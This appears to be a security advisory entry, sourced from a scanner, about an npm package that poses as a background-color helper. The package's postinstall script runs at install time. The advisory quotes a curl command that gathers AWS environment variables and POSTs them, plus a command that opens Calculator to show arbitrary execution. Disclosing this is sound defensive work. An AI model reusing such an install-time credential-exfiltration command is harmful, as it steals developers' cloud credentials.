MAL-2026-12504

Dashboard / Malicious Package / MAL-2026-12504

MAL-2026-12504

Summary: Malicious code in @cy4dev/cydemo-bg-color (npm)

Details: Source: amazon-inspector (5e0e5eedb2c2a44513fd808788f02499f57e3c2877c4c69d8a84b0d4038d7fe0) @cy4dev/[email protected] ships a postinstall lifecycle script (src/postinstall.js) that runs at `npm install` time and invokes node:child_process.exec with two shell commands. The first, `curl -X POST -d \`env | grep AWS\` http://localhost:8000`, enumerates AWS_*-prefixed environment variables from the installer's shell and POSTs them as the request body — a functioning credential-exfiltration primitive against the installer's environment. The second, `open /System/Applications/Calculator.app`, launches a GUI application on macOS, demonstrating arbitrary host-shell execution triggered solely by installing the package. The package advertises itself as a DOM background-color helper; the postinstall behavior has no build or runtime purpose consistent with that description. The exfiltration destination in this build is loopback (localhost:8000), so the AWS credentials do not leave the host in this specific version, but the credential-scrape and arbitrary-exec code paths execute unconditionally on every install.

References: https://www.npmjs.com/package/@cy4dev/cydemo-bg-color/v/5.0.0, https://www.npmjs.com/package/@cy4dev/cydemo-bg-color/v/7.0.0, https://www.npmjs.com/package/@cy4dev/cydemo-bg-color/v/6.0.0, https://www.npmjs.com/package/@cy4dev/cydemo-bg-color/v/4.0.0